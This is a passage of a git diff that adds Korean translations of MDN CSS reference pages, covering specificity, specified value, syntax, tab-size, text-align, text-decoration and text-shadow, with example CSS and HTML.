A) 태그, ID나 클래스를 추가함으로써 명시도가 더 높은 !important한 CSS 규칙을 만듭니다.

+ +
table td    { height: 50px !important; }
+.myTable td { height: 50px !important; }
+#myTable td { height: 50px !important; }
+
+ +

B) 혹은 기존의 선택자 아래에 똑같은 선택자를 하나 더 만듭니다(명시도가 같으면 나중에 정의된 규칙이 우선하므로).

+ +
td { height: 50px !important; }
+ +

C) 아니면 기존 규칙을 수정해서 아예 !important를 사용하지 않게 만드는 것이 더 좋은 방법입니다.

+ +
[id="someElement"] p {
+  color: blue;
+}
+
+p.awesome {
+  color: red;
+}
+ +

ID를 ID 선택자 대신 속성 선택자로 선택하면 클래스 1개와 같은 명시도가 됩니다. 두 선택자의 명시도가 같아졌으므로 나중에 오는 규칙이 우선합니다.

+ +

아래에서 자세한 정보를 확인하세요:

+ + + +

:is():not() 예외

+ +

모두 일치 의사 클래스 {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}} 및 부정 의사 클래스 {{CSSxRef(":not", ":not()")}}은 명시도 계산에서 의사 클래스로 취급되지 않습니다. 그러나 이들 의사 클래스 안에 명시된 선택자는 선택자 유형의 수를 결정할 때 일반 선택자로 셉니다.

+ +

다음 CSS 조각과 HTML은...

+ +
div.outer p {
+  color:orange;
+}
+div:not(.outer) p {
+  color: lime;
+}
+
+ +
<div class="outer">
+  <p>This is in the outer div.</p>
+  <div class="inner">
+    <p>This text is in the inner div.</p>
+  </div>
+</div>
+
+ +

...다음과 같이 화면에 표시됩니다.

+ +

{{EmbedLiveSample('is_및_not_예외','600','100')}}

+ +

:where() 예외 {{Experimental_Inline}}

+ +

{{SeeCompatTable}}

+ +

명시도 조정 가상 클래스 {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}}의 명시도는 항상 0입니다.

+ +

다음 CSS 조각과 HTML은...

+ +
div:where(.outer) p {
+  color: orange;
+}
+
+div p {
+  color: blueviolet;
+}
+
+ + + + + +
<div class="outer">
+  <p>This is in the outer div.</p>
+  <div class="inner">
+    <p>This text is in the inner div.</p>
+  </div>
+</div>
+
+ +

...다음과 같이 화면에 표시됩니다.

+ +

{{EmbedLiveSample('The_where_exception','600','100')}}

+ +

형태 기반 명시도

+ +

명시도는 선택자의 형태(form)를 기반으로 합니다. 아래에서 선택자 *[id="foo"]는 그 자체로는 ID를 선택하지만 선택자의 명시도를 계산할 때는 속성 선택자로 취급됩니다.

+ +

다음 스타일 선언과 마크업은...

+ +
*#foo {
+  color: green;
+}
+*[id="foo"] {
+  color: purple;
+}
+
+ +
<p id="foo">I am a sample text.</p>
+
+ +

...다음과 같이 표시됩니다.

+ +

{{EmbedLiveSample('형태_기반_명시도','600','100')}}

+ +

같은 요소와 일치하지만 ID 선택자는 더 높은 명시도를 갖기 때문입니다.

+ +

트리 근접도 무시

+ +

요소와 주어진 선택자로 참조된 다른 요소와의 근접도(proximity)는 명시도에 영향을 주지 않습니다.

+ +

다음 스타일 선언과 HTML은...

+ +
body h1 {
+  color: green;
+}
+html h1 {
+  color: purple;
+}
+
+ +
<html>
+<body>
+  <h1>Here is a title!</h1>
+</body>
+</html>
+
+ +

...아래와 같이 렌더링됩니다.

+ +

{{EmbedLiveSample('트리_근접도_무시','600','100')}}

+ +

두 선언은 선택자 유형 갯수가 같지만 html h1 선택자가 나중에 선언되었기 때문입니다.

+ +

직접 일치 요소와 상속된 스타일

+ +

특정한 요소와 직접적으로 일치하는 스타일은 상속된 규칙의 명시도와 무관하게 항상 상속된 스타일보다 우선합니다.

+ +

다음 CSS와 HTML은...

+ +
#parent {
+  color: green;
+}
+h1 {
+  color: purple;
+}
+ +
<html>
+<body id="parent">
+  <h1>Here is a title!</h1>
+</body>
+</html>
+ +

...역시 아래와 같이 렌더링됩니다.

+ +

{{EmbedLiveSample('직접_일치_요소와_상속된_스타일','600','100')}}

+ +

h1 선택자는 특정한 요소와 직접 일치하지만 초록색 선택자는 그렇지 않고 부모로부터 상속되기 때문입니다.

+ +

명세

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#specificity-rules", "Calculating a selector's specificity")}}{{Spec2("CSS4 Selectors")}}명시도 조정 선택자 {{CSSxRef(":where", ":where()")}} 추가.
{{SpecName("CSS3 Selectors", "#specificity", "Calculating a selector's specificity")}}{{Spec2("CSS3 Selectors")}}의사 요소 추가.
{{SpecName("CSS2.1", "cascade.html#specificity", "Calculating a selector's specificity")}}{{Spec2("CSS2.1")}}의사 클래스 추가.
{{SpecName("CSS1", "#cascading-order", "Cascading order")}}{{Spec2("CSS1")}}초기 정의.
+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/specified_value/index.html b/files/ko/web/css/specified_value/index.html new file mode 100644 index 0000000000..fd7df79342 --- /dev/null +++ b/files/ko/web/css/specified_value/index.html @@ -0,0 +1,67 @@ +--- +title: 지정값 +slug: Web/CSS/specified_value +tags: + - CSS + - CSS Reference +translation_of: Web/CSS/specified_value +--- +
{{CSSRef}}
+ +

CSS 속성의 지정값은 세 가지 방법 중 하나로 설정됩니다.

+ +
    +
  1. 문서의 스타일시트가 속성값을 지정했다면 그러면 그 값이 사용됩니다. 예를 들어, {{cssxref("color")}} 속성이 green 으로 설정된 경우 대응하는 요소(element)의 텍스트 색은 녹색이 됩니다.
  2. +
  3. 문서의 스타일시트가 값을 지정하지 않은 경우 부모 요소로부터 상속됩니다(가능하다면). 예를 들어, {{HTMLElement("div")}} 내부에 단락({{HTMLElement("p")}})이 있고 {{HTMLElement("div")}}의 CSS font 속성값이 "Arial", {{HTMLElement("p")}}가 정의된 font 속성이 없다면 Arial font가 상속됩니다.
  4. +
  5. 위 중 어느 것도 이용할 수 없는 경우, CSS 스펙에 지정된 대로 요소의 초기값이 적용됩니다.
  6. +
+ +

예제

+ +

HTML

+ +
<p>My specified color is given explicitly in the CSS.</p>
+
+<div>The specified values of all my properties default to their
+    initial values, because none of them are given in the CSS.</div>
+
+<div class="fun">
+  <p>The specified value of my font family is not given explicitly
+      in the CSS, so it is inherited from my parent. However,
+      the border is not an inheriting property.</p>
+</div>
+ +

CSS

+ +
.fun {
+  border: 1px dotted pink;
+  font-family: fantasy;
+}
+
+p {
+  color: green;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("예제", 500, 220)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS2.1", "cascade.html#specified-value", "cascaded value")}}{{Spec2("CSS2.1")}}초기 정의
diff --git a/files/ko/web/css/syntax/index.html b/files/ko/web/css/syntax/index.html new file mode 100644 index 0000000000..3f64118f7a --- /dev/null +++ b/files/ko/web/css/syntax/index.html @@ -0,0 +1,79 @@ +--- +title: 구문 +slug: Web/CSS/Syntax +tags: + - CSS + - Guide + - Reference + - Web +translation_of: Web/CSS/Syntax +--- +
{{cssref}}
+ +

종속형 스타일 시트(CSS) 언어의 기본 목표는 브라우저 엔진이 색상, 위치 지정 또는 장식과 같은 특정 기능을 사용하여 페이지에 요소를 그릴 수 있도록 하는 것입니다. 이러한 목표 달성을 위해 만들어진 CSS 구문을 이루고 있는 기본 구성 요소는 다음과 같습니다.

+ +
    +
  • 속성(property)은 {{glossary("identifier", "식별자")}}, 즉 사람이 읽을 수 있는 이름이며 어떠한 CSS 기능을 구현할 것인지 결정합니다.
  • +
  • (value)은 앞서 지정한 속성이 브라우저에 의해 어떤 식으로 나타나야 할지 기술합니다. 각 속성의 의미적 표현을 형식 문법으로 정의한 유효한 값 집합과 함께 브라우저 엔진이 구현합니다.
  • +
+ +

CSS 선언

+ +

CSS 속성을 특정 값으로 설정하는 것은 CSS 언어의 핵심 기능입니다. 속성과 값 쌍은 선언(declaration)이라 부르며, 모든 CSS 엔진은 적절하게 요소를 배열하고 스타일을 입히기 위해서 요소 하나하나마다 어떤 선언을 적용할지 계산합니다.

+ +

CSS에서는 속성과 값 모두 대소문자를 구분합니다. 속성-값 쌍은 콜론, ':' (U+003A COLON)으로 구분하며 속성과 값 앞, 사이, 뒤에 오는 공백은 무시합니다.

+ +

css syntax - declaration.png

+ +

CSS는 100가지 이상의 속성과 셀 수 없이 많은 값이 있습니다. 속성에 아무 값이나 넣는 것은 허용되지 않고, 대신 속성마다 유효한 값을 정의하고 있습니다. 주어진 속성에 대해 값이 유효하지 않은 경우, 그 선언은 부적합으로 간주하여 CSS 엔진이 완전히 무시합니다.

+ +

CSS 선언 블록

+ +

선언은 블록 단위로 이루어져 있습니다. 즉, 여는 중괄호, '{' (U+007B LEFT CURLY BRACKET) 및 닫는 중괄호, '}' (U+007D RIGHT CURLY BRACKET)로 구분된 구조 입니다. 어떤 경우엔 블록을 중첩할 수 있으므로 열고 닫는 중괄호가 서로 맞아야 합니다.

+ +

css syntax - block.png

+ +

이런 블록은 자연스럽게도 선언 블록이라고 부르며, 내부의 선언은 세미콜론, ';' (U+003B SEMICOLON)으로 구분합니다. 선언 블록은 아무런 선언도 들어가지 않은 빈 상태로도 존재할 수 있습니다. 선언 주위의 공백은 무시합니다. 마지막 선언에는 세미콜론을 생략해도 되지만, 다른 선언을 밑에다 덧붙여서 블록을 확장하면서 세미콜론 추가를 잊는 상황을 방지하기 위해 붙여주는 것이 좋은 스타일이라고 생각하는 경우가 자주 있기는 합니다.

+ +

CSS 선언 블록을 시각화하면 다음과 같습니다.css syntax - declarations block.png

+ +
참고: CSS 선언 블록의 콘텐츠, 즉 여닫는 중괄호 없이 세미콜론으로 분리한 선언 목록은 HTML {{htmlattrxref("style")}} 특성의 값으로 사용할 수 있습니다.
+ +

CSS 규칙집합

+ +

스타일 시트가 선언을 웹 페이지의 요소 하나씩에만 적용할 수 있다면 거의 쓸모가 없을 것입니다. 진짜 목표는 다양한 선언을 문서의 다양한 부분에 적용하는 것입니다.

+ +

CSS에서는 선언 블록에 조건을 붙여 해결할 수 있습니다. 각 (유효한) 선언 블록은 페이지의 일부 요소를 선택하는 조건인 선택자(selector)가 선행됩니다. 선택자-선언 블록 쌍은 규칙집합 또는 종종 간단히 규칙이라고 합니다.

+ +

css syntax - ruleset.png

+ +

페이지 요소는 여러 선택자로 그리고 결국 주어진 속성을 서로 다른 값으로 여러 번 포함하는 여러 규칙에 의해 일치될 수 있기에, CSS 표준은 어느 게 다른 것보다 우선하고 적용되어야 하는 지를 정의합니다: 이를 종속(cascade) 알고리즘이라고 합니다.

+ +
비록 선택자 그룹에 의해 특징지어진 규칙집합이 규칙집합을 각각 단일 선택자로 대체하는 일종의 단축(shorthand)일지라도, 이는 규칙집합 자체의 유효성에 적용되지는 않는다는 점에 유의하는 것이 중요합니다.
+
+이는 중요한 결과로 이어집니다: 단일 기본 선택자 하나가 무효한 경우, 무명(unknown) 가상 요소(pseudo-element) 또는 가상 클래스(pseudo-class)를 사용할 때처럼, 모든 선택자는 무효하고 따라서 전체 규칙은 무시됩니다(유효하지도 않기에).
+ +

CSS 문

+ +

규칙집합은 종종 큰 규칙집합 목록만으로 구성된 스타일 시트의 주요 구성 블록입니다. 하지만 문자 집합, import하려는 다른 외부 스타일 시트, 글꼴 모양 또는 목록 카운터 설명 및 더 많은 것처럼 웹 제작자가 스타일 시트에서 전하고 싶은 다른 정보가 있습니다. 이를 위해 다른 특정 종류의 문을 사용합니다.

+ +

은 비 공백 문자로 시작하여 첫 번째 닫는 중괄호 또는 세미콜론 (문자열 외에, 이스케이프되지 않고 다른 {}, () 및 [] 쌍에 포함되지 않는) 으로 끝나는 구성 블록입니다.

+ +

css syntax - statements Venn diag.png

+ +

다음과 같은 다른 종류의 문이 있습니다:

+ +
    +
  • 본 것처럼, CSS 선언의 컬렉션과 선택자에 의해 기술된 조건을 연결짓는 규칙집합 (또는 규칙).
  • +
  • at 기호, '@' (U+0040 COMMERCIAL AT)로 시작하고 그런 다음 문의 끝, 즉 블록 밖 다음 세미콜론(;) 또는 다음 블록의 끝까지 계속 식별자가 뒤따르는 At-규칙. 식별자에 의해 정의된 각 유형의 at-규칙은, 물론 자체 내부 구문 및 의미(semantics)가 있을 수 있습니다. 그들은 메타 데이터 정보({{ cssxref("@charset") }} 또는 {{ cssxref("@import") }} 같은), 조건부 정보({{ cssxref("@media") }} 또는 {{ cssxref("@document") }} 같은) 또는 설명 정보({{ cssxref("@font-face") }} 같은)를 전달하는 데 사용됩니다.
  • +
+ +

규칙집합 또는 at-규칙이 아닌 모든 문은 유효하지 않고 무시됩니다.

+ +

또 다른 문 그룹, 중첩 문이 있습니다, 이들은 at-규칙, 조건부 그룹 규칙의 특정 부분집합에서 사용될 수 있는 문입니다. 이러한 문은 오직 특정 조건이 일치되면 적용합니다: @media at-규칙 콘텐츠는 브라우저가 돌아가는 장치가 표현된 조건과 일치하는 경우에만 적용됩니다. 반면 @document at-규칙 콘텐츠는 현재 페이지가 일부 조건과 일치하는 경우에만 적용됩니다, 등등. CSS1 및 CSS2.1에서는, 규칙집합만이 조건부 그룹 규칙 내에서 사용될 수 있습니다. 그것은 매우 제한됐고 이 제한은 CSS Conditionals 레벨 3에서 해제되었습니다. 현재, 여전히 실험 중이고 모든 브라우저에서 지원되지는 않지만, 조건부 그룹 규칙은 광범위한 콘텐츠, 규칙집합뿐만 아니라 전부는 아니지만 일부 at-규칙을 포함할 수 있습니다.

+ +

같이 보기

+ +
    +
  • {{ CSS_key_concepts()}}
  • +
diff --git a/files/ko/web/css/tab-size/index.html b/files/ko/web/css/tab-size/index.html new file mode 100644 index 0000000000..ad29994f53 --- /dev/null +++ b/files/ko/web/css/tab-size/index.html @@ -0,0 +1,121 @@ +--- +title: tab-size +slug: Web/CSS/tab-size +tags: + - CSS + - CSS Property + - CSS Text + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/tab-size +--- +
{{CSSRef}}
+ +

CSS tab-size 속성은 탭 문자(U+0009)의 너비를 조절합니다.

+ +

구문

+ +
/* <integer> 값 */
+tab-size: 4;
+tab-size: 0;
+
+/* <length> 값 */
+tab-size: 10px;
+tab-size: 2em;
+
+/* 전역 값 */
+tab-size: inherit;
+tab-size: initial;
+tab-size: unset;
+
+ +

+ +
+
{{CSSxRef("<integer>")}}
+
공백 문자(U+0020)에 대한 탭 문자의 상대적인 너비. 0 이상의 정수여야 합니다.
+
{{CSSxRef("<length>")}}
+
탭 문자의 너비. 양의 값이어야 합니다.
+
+ +

형식 정의

+ +

{{CSSInfo}}

+ +

형식 구문

+ +
{{CSSSyntax}}
+ +

예제

+ +

글자 수로 정의

+ +
pre {
+  tab-size: 4; /* Set tab size to 4 characters wide */
+}
+
+ +

탭 제거

+ +
pre {
+  tab-size: 0; /* Remove indentation */
+}
+
+ +

기본 크기와 비교

+ +

다음 예제는 기본 탭 크기를 사용자 지정 탭 크기와 비교합니다. {{cssxref("white-space")}} 속성을 pre로 설정해서 탭 문자가 접히지 않도록 했습니다.

+ +

HTML

+ +
<p>no tab</p>
+<p>&#0009;default tab size of 8 characters wide</p>
+<p class="custom">&#0009;custom tab size of 3 characters wide</p>
+<p>&nbsp;&nbsp;&nbsp;3 spaces, equivalent to the custom tab size</p>
+
+ +

CSS

+ +
p {
+  white-space: pre;
+}
+
+.custom {
+  tab-size: 3;
+  -moz-tab-size: 3;
+}
+ +

결과

+ +

{{EmbedLiveSample('기본_크기와_비교')}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Text', '#tab-size-property', 'tab-size')}}{{Spec2('CSS3 Text')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.tab-size")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/text-align/index.html b/files/ko/web/css/text-align/index.html new file mode 100644 index 0000000000..630a0c0881 --- /dev/null +++ b/files/ko/web/css/text-align/index.html @@ -0,0 +1,234 @@ +--- +title: text-align +slug: Web/CSS/text-align +tags: + - CSS + - CSS Property + - CSS Text + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/text-align +--- +
{{CSSRef}}
+ +

CSS text-align 속성은 블록 요소나 표의 칸 상자의 가로 정렬을 설정합니다. 즉 {{cssxref("vertical-align")}}과 동일하나 세로가 아닌 가로 방향으로 동작합니다.

+ +
{{EmbedInteractiveExample("pages/css/text-align.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+text-align: left;
+text-align: right;
+text-align: center;
+text-align: justify;
+text-align: justify-all;
+text-align: start;
+text-align: end;
+text-align: match-parent;
+
+/* 표 열의 문자 기반 정렬 */
+text-align: ".";
+text-align: "." center;
+
+/* 블록 정렬 값 (비표준 구문) */
+text-align: -moz-center;
+text-align: -webkit-center;
+
+/* 전역 값 */
+text-align: inherit;
+text-align: initial;
+text-align: unset;
+
+ +

text-align 속성은 다음 방법 중 하나를 사용해 지정합니다.

+ + + +

+ +
+
start {{experimental_inline}}
+
쓰기 방식이 좌횡서면 left와 같고, 우횡서면 right과 같습니다.
+
end {{experimental_inline}}
+
쓰기 방식이 좌횡서면 right과 같고, 우횡서면 left와 같습니다.
+
left
+
인라인 콘텐츠를 줄 상자의 왼쪽 모서리로 정렬합니다.
+ +
인라인 콘텐츠를 줄 상자의 오른쪽 모서리로 정렬합니다.
+
center
+
인라인 콘텐츠를 줄 상자의 가운데로 정렬합니다.
+
justify
+
인라인 콘텐츠를 양쪽 정렬합니다. 마지막 줄을 제외하고, 줄 상자의 왼쪽과 오른쪽 끝에 텍스트를 맞추기 위해 사이 공간을 띄웁니다.
+
justify-all {{experimental_inline}}
+
justify와 같지만 마지막 줄에도 적용합니다.
+
match-parent {{experimental_inline}}
+
inherit과 비슷하지만, startend 값을 부모의 {{cssxref("direction")}}에 맞춰 적절한 leftright 값으로 치환합니다.
+
{{cssxref("<string>")}} {{experimental_inline}}
+
표 칸에 적용할 경우, 칸의 콘텐츠를 해당 문자에 맞춰 정렬합니다.
+
+ +

접근성 고려사항

+ +

양쪽 정렬 적용 시 생기는 불규칙한 여백은 난독증 등 인지력 저하를 겪고 있는 사용자에게 문제가 될 수 있습니다.

+ + + +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

왼쪽 정렬

+ +

HTML

+ +
<p class="example">
+  Integer elementum massa at nulla placerat varius.
+  Suspendisse in libero risus, in interdum massa.
+  Vestibulum ac leo vitae metus faucibus gravida ac in neque.
+  Nullam est eros, suscipit sed dictum quis, accumsan a ligula.
+</p>
+ +

CSS

+ +
.example {
+  text-align: left;
+  border: solid;
+}
+ +

결과

+ +

{{EmbedLiveSample("왼쪽_정렬","100%","100%")}}

+ +

가운데 정렬

+ +

HTML

+ +
<p class="example">
+  Integer elementum massa at nulla placerat varius.
+  Suspendisse in libero risus, in interdum massa.
+  Vestibulum ac leo vitae metus faucibus gravida ac in neque.
+  Nullam est eros, suscipit sed dictum quis, accumsan a ligula.
+</p>
+ +

CSS

+ +
.example {
+  text-align: center;
+  border: solid;
+}
+ +

결과

+ +

{{EmbedLiveSample("가운데_정렬","100%","100%")}}

+ +

양쪽 정렬

+ +

HTML

+ +
<p class="example">
+  Integer elementum massa at nulla placerat varius.
+  Suspendisse in libero risus, in interdum massa.
+  Vestibulum ac leo vitae metus faucibus gravida ac in neque.
+  Nullam est eros, suscipit sed dictum quis, accumsan a ligula.
+</p>
+ +

CSS

+ +
.example {
+  text-align: justify;
+  border: solid;
+}
+ +

결과

+ +

{{EmbedLiveSample("양쪽_정렬","100%","100%")}}

+ +

참고

+ +

인라인 콘텐츠를 가운데 정렬하지 않고 자신을 정렬하는 법은 {{cssxref("margin")}}을 auto로 설정하는 것입니다.

+ +
.something {
+  margin: auto;
+}
+
+ +
.something {
+  margin: 0 auto;
+}
+
+ +
.something {
+  margin-left: auto;
+  margin-right: auto;
+}
+
+ +
    +
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS Logical Properties', '#text-align', 'text-align')}}{{Spec2('CSS Logical Properties')}}No changes
{{SpecName('CSS4 Text', '#alignment', 'text-align')}}{{Spec2('CSS4 Text')}}Added the <string> value.
{{SpecName('CSS3 Text', '#text-align-property', 'text-align')}}{{Spec2('CSS3 Text')}}Added the start, end, and match-parent values. Changed the unnamed initial value to start (which it was).
{{SpecName('CSS2.1', 'text.html#alignment-prop', 'text-align')}}{{Spec2('CSS2.1')}}No changes
{{SpecName('CSS1', '#text-align', 'text-align')}}{{Spec2('CSS1')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.text-align")}}

+ +

같이 보기

+ +
    +
  • {{Cssxref("margin","margin: auto")}}, {{Cssxref("margin-left","margin-left: auto")}}, {{Cssxref("vertical-align")}}
  • +
diff --git a/files/ko/web/css/text-decoration/index.html b/files/ko/web/css/text-decoration/index.html new file mode 100644 index 0000000000..579bf26670 --- /dev/null +++ b/files/ko/web/css/text-decoration/index.html @@ -0,0 +1,133 @@ +--- +title: text-decoration +slug: Web/CSS/text-decoration +tags: + - CSS + - CSS Property + - CSS Text Decoration + - Reference +translation_of: Web/CSS/text-decoration +--- +
{{CSSRef}}
+ +

text-decoration CSS 단축 속성은 글씨의 장식(선) 색을 지정합니다. {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-style")}}, {{cssxref("text-decoration-thickness")}}속성 값을 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/text-decoration.html")}}
+ + + +

글씨 장식은 모든 하위 텍스트 요소에 적용됩니다. 따라서 자식 요소는 부모가 적용한 장식을 제거할 수 없습니다. 예를 들어 <p>이 문단에 <em>강조 표시</em>가 있어요.</p> 마크업에 p { text-decoration: underline; } 스타일을 적용하면 전체 문단에 밑줄이 쳐집니다. em { text-decoration: none; }을 추가하더라도 아무 변화도 일어나지 않습니다. 다만 em { text-decoration: overline; } 스타일은 "강조 표시"가 윗줄과 밑줄 모두 갖게 합니다.

+ +

구문

+ +

text-decoration 속성은 한 개 이상의 공백으로 구분한 값으로 지정할 수 있습니다. 각각의 값은 본디 속성에서 사용하는 값입니다.

+ +

+ +
+
{{cssxref("text-decoration-line")}}
+
underline, line-through 등 장식의 종류.
+
{{cssxref("text-decoration-color")}}
+
장식의 색.
+
{{cssxref("text-decoration-style")}}
+
solid, wavy, dashed 등 장식의 스타일.
+
{{cssxref("text-decoration-thickness")}}
+
요소를 꾸미는데 사용되는 선의 두께를 설정합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.under {
+  text-decoration: underline red;
+}
+
+.over {
+  text-decoration: wavy overline lime;
+}
+
+.line {
+  text-decoration: line-through;
+}
+
+.plain {
+  text-decoration: none;
+}
+
+.underover {
+  text-decoration: dashed underline overline;
+}
+
+.thick {
+  text-decoration: solid underline purple 4px;
+}
+
+.blink {
+  text-decoration: blink;
+}
+
+ +
<p class="under">밑줄을 가진 글씨입니다.</p>
+<p class="over">윗줄을 가진 글씨입니다.</p>
+<p class="line">취소선을 가진 글씨입니다.</p>
+<p>여기 링크는 기본값과 다르게 <a class="plain" href="#">밑줄이 없습니다</a>.
+    사용자는 보통 하이퍼링크를 구분할 때 밑줄 여부로 판단하므로
+    지우기 전에 조심해야 합니다.</p>
+<p class="underover">밑줄과 윗줄 모두 가진 글씨입니다.</p>
+<p class="thick">이 글씨는 아주 두꺼운 보라색 밑줄을 표시합니다. (브라우저가 지원하는 경우)</p>
+<p class="blink">이 글씨는 브라우저에 따라서 깜빡일 수 있어요.</p>
+
+ +

{{EmbedLiveSample('Examples','auto','320')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Text Decoration')}}{{Spec2('CSS4 Text Decoration')}}Adds {{cssxref("text-decoration-thickness")}}; note that this isn't yet officially part of the shorthand — this is as yet unspecified.
{{SpecName('CSS3 Text Decoration', '#text-decoration-property', 'text-decoration')}}{{Spec2('CSS3 Text Decoration')}}Transformed into a shorthand property. Added support for the value of {{cssxref('text-decoration-style')}}.
{{SpecName('CSS2.1', 'text.html#lining-striking-props', 'text-decoration')}}{{Spec2('CSS2.1')}}No significant changes.
{{SpecName('CSS1', '#text-decoration', 'text-decoration')}}{{Spec2('CSS1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.text-decoration")}}

+ +

같이 보기

+ +
    +
  • The individual text-decoration properties are {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-color")}}, and {{cssxref("text-decoration-style")}}.
  • +
  • The {{cssxref("list-style")}} attribute controls the appearance of items in HTML {{HTMLElement("ol")}} and {{HTMLElement("ul")}} lists.
  • +
diff --git a/files/ko/web/css/text-shadow/index.html b/files/ko/web/css/text-shadow/index.html new file mode 100644 index 0000000000..17c04da65c --- /dev/null +++ b/files/ko/web/css/text-shadow/index.html @@ -0,0 +1,126 @@ +--- +title: text-shadow +slug: Web/CSS/text-shadow +tags: + - CSS + - Reference +translation_of: Web/CSS/text-shadow +--- +
{{CSSRef}}
+ +

text-shadow CSS 속성은 텍스트에 그림자(shadow)를 추가합니다. 텍스트와 그 장식에 적용 할 쉼표로 구분 된 그림자 목록을 허용합니다. 각 그림자는 요소, 흐림 반경 및 색상의 X 및 Y 오프셋 조합으로 설명됩니다.

+ +

{{EmbedInteractiveExample("pages/css/text-shadow.html")}}

+ +

구문

+ +
/* offset-x | offset-y | blur-radius | color */
+text-shadow: 1px 1px 2px black;
+
+/* color | offset-x | offset-y | blur-radius */
+text-shadow: #fc0 1px 0 10px;
+
+/* offset-x | offset-y | color */
+text-shadow: 5px 5px #558abb;
+
+/* color | offset-x | offset-y */
+text-shadow: white 2px 5px;
+
+/* offset-x | offset-y
+/* Use defaults for color and blur-radius */
+text-shadow: 5px 10px;
+
+/* Global values */
+text-shadow: inherit;
+text-shadow: initial;
+text-shadow: unset;
+ +

This property is specified as a comma-separated list of shadows.

+ +

Each shadow is specified as two or three <length> values, followed optionally by a <color> value. The first two <length> values are the <offset-x> and <offset-y> values. The third, optional, <length> value is the <blur-radius>. The<color> value is the shadow's color.

+ +

When more than one shadow is given, shadows are applied front-to-back, with the first-specified shadow on top.

+ +

This property applies to both {{cssxref("::first-line")}} and {{cssxref("::first-letter")}} pseudo-elements.

+ +

+ +
+
{{cssxref("<color>")}}
+
선택값(생략가능). 위치값(offset)이전/이후에 설정이 가능하다. 색상(color)값이 설정되지 않으면, 브라우저 기본값(UA-chosen color)이 사용된다. {{ note("만약 다양한 브라우저에서 동일하게 표현하고 싶다면, 특정 색상(color)을 지정할 것.") }}
+
<offset-x> <offset-y>
+
Required. These {{cssxref("<length>")}} values specify the shadow's distance from the text. <offset-x> specifies the horizontal distance; a negative value places the shadow to the left of the text. <offset-y> specifies the vertical distance; a negative value places the shadow above the text. If both values are 0, the shadow is placed directly behind the text, although it may be partly visible due to the effect of <blur-radius>.
+
<blur-radius>
+
Optional. This is a {{cssxref("<length>")}} value. The higher the value, the bigger the blur; the shadow becomes wider and lighter. If not specified, it defaults to 0.
+
+

Formal syntax

+ +
{{csssyntax}}
+
+ +

Examples

+ +

Simple shadow

+ +
.red-text-shadow {
+  text-shadow: red 0 -2px;
+}
+ +
<p class="red-text-shadow">Sed ut perspiciatis unde omnis iste
+    natus error sit voluptatem accusantium doloremque laudantium,
+    totam rem aperiam, eaque ipsa quae ab illo inventore.</p>
+ +

{{EmbedLiveSample('Simple_shadow', '660px', '90px')}}

+ +

Multiple shadows

+ +
.white-text-with-blue-shadow {
+  text-shadow: 1px 1px 2px black, 0 0 1em blue, 0 0 0.2em blue;
+  color: white;
+  font: 1.5em Georgia, serif;
+}
+ +
<p class="white-text-with-blue-shadow">Sed ut perspiciatis unde omnis iste
+    natus error sit voluptatem accusantium doloremque laudantium,
+    totam rem aperiam, eaque ipsa quae ab illo inventore.</p>
+ +

{{EmbedLiveSample('Multiple_shadows', '660px', '170px')}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Transitions', '#animatable-css', 'text-shadow')}}{{Spec2('CSS3 Transitions')}}Specifies text-shadow as animatable.
{{SpecName('CSS3 Text Decoration', '#text-shadow-property', 'text-shadow')}}{{Spec2('CSS3 Text Decoration')}}The CSS property text-shadow was improperly defined in CSS2 and dropped in CSS2 (Level 1). The CSS Text Module Level 3 spec refined the syntax. Later it was moved to CSS Text Decoration Module Level 3.
+ +

{{cssinfo}}

+ +

Browser compatibility

+ +

The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.

+ +

{{Compat("css.properties.text-shadow")}}

+ +

Quantum CSS notes

+ Gecko has a bug whereby {{cssxref("transition")}}s will not work when transitioning from a text-shadow with a color specified to a text-shadow without a color specified ({{bug(726550)}}). This has been fixed in Firefox's new parallel CSS engine (also known as Quantum CSS or Stylo, planned for release in Firefox 57). + +

See also

+ Text Shadow CSS Generator - An interactive text shadow CSS generator. {{cssxref("box-shadow")}} The {{cssxref("<color>")}} data type (for specifying the shadow color) Applying color to HTML elements using CSS
+
diff --git a/files/ko/web/css/time/index.html b/files/ko/web/css/time/index.html new file mode 100644 index 0000000000..2a95bb99ea --- /dev/null +++ b/files/ko/web/css/time/index.html @@ -0,0 +1,88 @@ +--- +title: